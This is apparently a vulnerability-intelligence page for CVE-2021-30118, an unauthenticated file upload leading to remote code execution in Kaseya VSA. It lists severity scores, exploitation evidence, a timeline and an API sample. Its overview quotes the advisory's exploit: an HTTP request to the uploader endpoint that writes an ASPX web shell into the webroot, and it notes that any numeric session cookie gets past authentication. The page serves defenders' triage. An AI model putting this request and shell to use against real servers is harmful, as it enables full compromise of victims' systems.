Vulnerability report

Exploited in the wild High confidence Not in CISA KEV

CVE-2021-30118

Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5

Kaseya / VSA

Severity
CVSS 9.8 · Critical
Confidence
High
Exploit status
Exploited in the wild
EPSS
60.3%
First observed
Last observed

Decision summary

What security teams need to know first

Direct answers before the deeper technical record.

What it is

CVE-2021-30118 is an unauthenticated Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5. An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring &...

Is it exploited?

Yes. KEV Intelligence tracks this CVE as a known exploited vulnerability. Confidence is high.

Who is affected?

Kaseya / VSA.

What should we do?

Prioritize remediation. Validate affected assets and apply vendor fixes on an accelerated timeline.

Overview

Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file.

Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

Published
09 Jul 2021
Exploitation Reported
18 Dec 2025
Attack vector
Remote
Complexity
Low
Privileges
None
User interaction
None

Tags

nuclei_scanner

CVE References

Exploitation evidence

Why KEV Intelligence marks this CVE as exploited

Third-party attestation and first-party sensor observation are shown separately so teams can judge the evidence chain.

Exploited in the wild

The Shadowserver

Recorded 18 Dec 2025

Independent exploitation attestation added to the KEV Intelligence record.

Proof of concept available

Nuclei Templates

Recorded 12 Jun 2026

Public scanner or PoC coverage increases practical exploitability.

Known exploited vulnerability sources

Per-source evidence links for KEV attestations are available through the KEV Intelligence Pro API.

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Source Added
The Shadowserver First 2025-12-18 00:00 UTC

Detection

Operational artifacts and observed signals

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Observed signals

Request targets
0
User-Agents
0

Raw values available in Pro and Enterprise.

Virtual patch status

No KEV Intelligence virtual patch is currently available. Future rules ship for ModSecurity, Cloudflare, and AWS WAF.

Learn about virtual patches →

Scanner Artifacts

Scanner and exploit-framework references linked to this CVE.

Risk and context

Severity, weaknesses, and research context

CVSS v3.1

9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

60.3%

All CVSS Scores

CVSS v3.1 9.8 Critical

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v2.0 10.0 High

AV:N/AC:L/Au:N/C:C/I:C/A:C

Potential Proof of Concepts

These PoCs are unverified and could contain malware. Use at your own risk.

Timeline

From disclosure to observed exploitation

  1. Public PoC available

    Public proof-of-concept code published

  2. Nuclei template available

    Scanner coverage available

  3. Added to KEV Intelligence KEV Feed

    High-confidence, third-party attested exploitation

  4. CVE published

    Vulnerability disclosed publicly

  5. CVE ID reserved

    Identifier reserved by the CNA

Pro API

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  • Automation-ready JSON delivery

GET /api/v2/pro/kevs/CVE-2021-30118

Free JSON includes basic KEV fields
{
  "cve_id": "CVE-2021-30118",
  "confidence": "High",
  "cvss_score": 9.8,
  "cvss_estimated": false,
  "epss_score": 0.60348,
  "exploit_status": {
    "exploited_in_the_wild": true,
    "active_exploitation_observed": false
  },
  "sensor_telemetry": { "attempts": 0, "sensors": 0 }
}

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